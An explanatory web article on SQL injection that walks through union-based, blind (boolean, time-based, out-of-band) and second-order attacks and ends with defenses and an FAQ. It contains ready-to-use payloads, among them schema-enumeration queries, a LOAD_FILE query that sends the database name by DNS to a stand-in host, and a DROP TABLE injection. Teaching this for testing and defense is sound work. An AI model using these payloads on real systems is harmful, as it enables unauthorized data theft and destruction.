SQL Injection (SQLi): Types, Examples, and Complete Defense Guide
Outline
SQL injection is one of the most dangerous web vulnerability. In sql injection an unintended query made to the database to get some sensitive data from database.
Databases generally contains a lot of sensitive informations and some other functionality apart from just handling data/info (like: reading files, executing shell commands etc.)
Introduction
Sql injection occurs when input (generally) of user directly get concatenated with the existing sql query. And input coming from user doesn't get sanitize.
How SQL Injection Works
Let's consider a vulnerable university web application, which makes following http request to get all the students data who are enrolled into PhD course :
GET /university/students?course=PhD
For above request, in the backend following query is done :
SELECT name FROM students WHERE course = 'PhD';
Now in this scenario user input is not sanitized, a tester could inject ' OR '1'='1 or any sql query into the request :
GET /university/students?course=PhD' OR '1'='1
The in backend following query will be executed and it will return all the students data :
SELECT name FROM students WHERE course = 'PhD' OR '1'='1';
SQL Injection Methodology
- Identify injection point : Can be any input field, parameter, header, cookie or anything that can interact with database.
- Check with special characters : Test by insert
'
or-- -
to break the query - Examine the response :
- Direct query result Classic/Union-based SQLi
- No results/errors blind SQLi
- Time delays or external calls time-based/out-of-band
- Payload stored executed later second order SQLi
Classic/Union-based SQLi
If the results (errors/data) are returned directly, then tester can try UNION to append his query with existing query.
After that you have to follow following steps according to your needs.
- Find the number of columns :
- By appending ORDER BY example :
' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- -
Increase the numbers until you get valid response. Valid response == correct number of columns - By appending NULL example:
' UNION SELECT NULL -- -
' UNION SELECT NULL,NULL -- -
' UNION SELECT NULL,NULL,NULL -- -
Increase the NULL count until valid response.
- By appending ORDER BY example :
- Matching data type :
So, we are adding 2 queries using UNION and we know that how many columns are there. But to retrieve something in a column you have to put the matching data type which is in first(existing) query. example :
Original query SELECT id, name FROM students WHERE id = '1';
Malicious query' UNION SELECT 1, 'admin_user'-- -
Malicious query' UNION SELECT NULL, 'admin_user'-- -
Malicious query' UNION SELECT 1, 444-- -
- Retrieving Data :
As of now, we know that how many columns are there and which columns supports what kind of data type. To examine the database or exfiltration, we have to make the malicious query such that we can get some desired info into columns. example :
- For tables :
Malicious query 1 ' UNION SELECT table_name FROM information_schema.tables;(if single column is there)
Malicious query 2 ' UNION SELECT table_name,NULL FROM information_schema.tables;(if 2 columns are there)
- For column names :
Malicious query ' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'Students';
- For data :
Malicious query ' UNION SELECT name, roll_num FROM Students;
- String concatenation
If there is a single column in original query then you can use string concatenation to add multiple data into a single string. It uses database specific functions to concatenate multiple data into a string. example :
MySQL CONCAT(username, ':', password)
- For tables :
Blind SQL injection
After putting the breaking (' -- -) characters, If there is no data in result but response has different status-code/length/content then blind sqli is there. Generally 3 kinds of blind sqli are there -
- Boolean-Based Blind sql injection :
Try using boolean queries that returns true/false.
Malicious query 1 ?id=1' AND '1'='1--
Malicious query 2 ?id=1' AND '1'='2--
If result is not same for both then you can exploit it, generally a brute forcing technique is used. Where we make a query who extract some data (db/table/column names etc.) from database and check each character one by one with your given list. If it matches then it will give a valid response. Example -
Original query SELECT * FROM students WHERE id = '1';
After adding 1' OR '1'='1 -- it becomesMalicious query SELECT * FROM students WHERE id = '1' OR '1'='1';
Malicious query SELECT * FROM students WHERE id = '1' AND '1'='2'; It doesn't give exact same response (different status_code/content/length).
By using above technique lets guess the databaseMalicious query1' AND SUBSTRING(database(),1,1)='o' -- It checks that first letter of result of database() is 'o' if it is then it will return the valid response.
By using above technique you can create a script that do this task for you. If you try to do it manually then it takes a lot of time.
keep in mind that functions (SUBSTRING() etc..) are database specific and you have to find one for your database. - Time-based Blind sql injection :
Try to use a query that takes some time to give the response. Ex. 1' AND IF(1=1, SLEEP(5), 0) -- -. Then examine the delay in response time to get the values, use the same above brute forcing technique to guess the values. Example -
Malicious Query 1' AND IF(SUBSTRING(database(),1,1)='u', SLEEP(5), 0) -- - Create a script that changes the positions, character and check the response delays.
- Out-of-Band (OOB) Blind sql injection :
In this sql injection method, a malicious query is used to make a request from server(owned by you/tester) and he concatenate sime information of database into that request. And after that uses the logs of the server (owned by you) for data exfiltration. In this method user doesn't get any kind of changes in result. example -
MySQL 1' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.tester.com\\abc')) -- -. This query tells the database to load a file from tester.com and appended the name of the current database as subdomain. Tester can see the database name into his dns logs.
Different kind of functions are there in different type of database that can be used for making different kind of requests. example : DNS/HTTP/HTTPS etc..
Second-Order SQL Injection
Unlike other sql injections where malicious query is executed directly, in second-order sqli malicious payload get stored somewhere and executed later by another sql query. example -
User Registration : following query by backend is used to save the username into database when user register.
Registration INSERT INTO profiles (name) VALUES ('John'); Insert username John
Tester added following into username input '); DROP TABLE students;--, after that when admin try to get the user then the query admin will make would be following
Malicious query SELECT * FROM students WHERE course = 'Robert'); DROP TABLE students;--';
SQLi detection
- Manual testing : insert ' or some basic payload of different types.
- Automation tool : SQLmap for automating the process, time saver
- Logs : Read the logs carefully, it can contains info of databases or other critical one.
Defense against SQL injection
- Parameterized queries / prepared statements
Always bind the input instead of concatenating directly into query. - Stored procedures (with parameters)
- Input validation/sanitization (type, length, format, words/symbols)
- Least privilege (restrict DB user permissions)
- Log the suspicious queries
Frequently Asked Questions
What is SQL Injection?➕
SQL Injection is a web vulnerability where unsanitized user input gets concatenated into SQL queries, allowing attackers to access or manipulate sensitive database information.
How does SQL Injection work?➕
An attacker injects malicious input (like ' OR '1'='1) into queries. This alters the SQL logic and can bypass filters, retrieve hidden data, or even execute dangerous database commands.
What are the main types of SQL Injection?➕
The main types are Classic/Union-based SQLi, Blind SQLi (Boolean, Time-based, Out-of-Band), and Second-Order SQLi.
How can SQL Injection be detected?➕
It can be detected via manual testing with payloads, automated tools like SQLmap, or analyzing logs for suspicious queries and unusual responses.
How can developers prevent SQL Injection?➕
Use parameterized queries/prepared statements, stored procedures with parameters, input validation, least-privilege database accounts, and monitor logs for anomalies.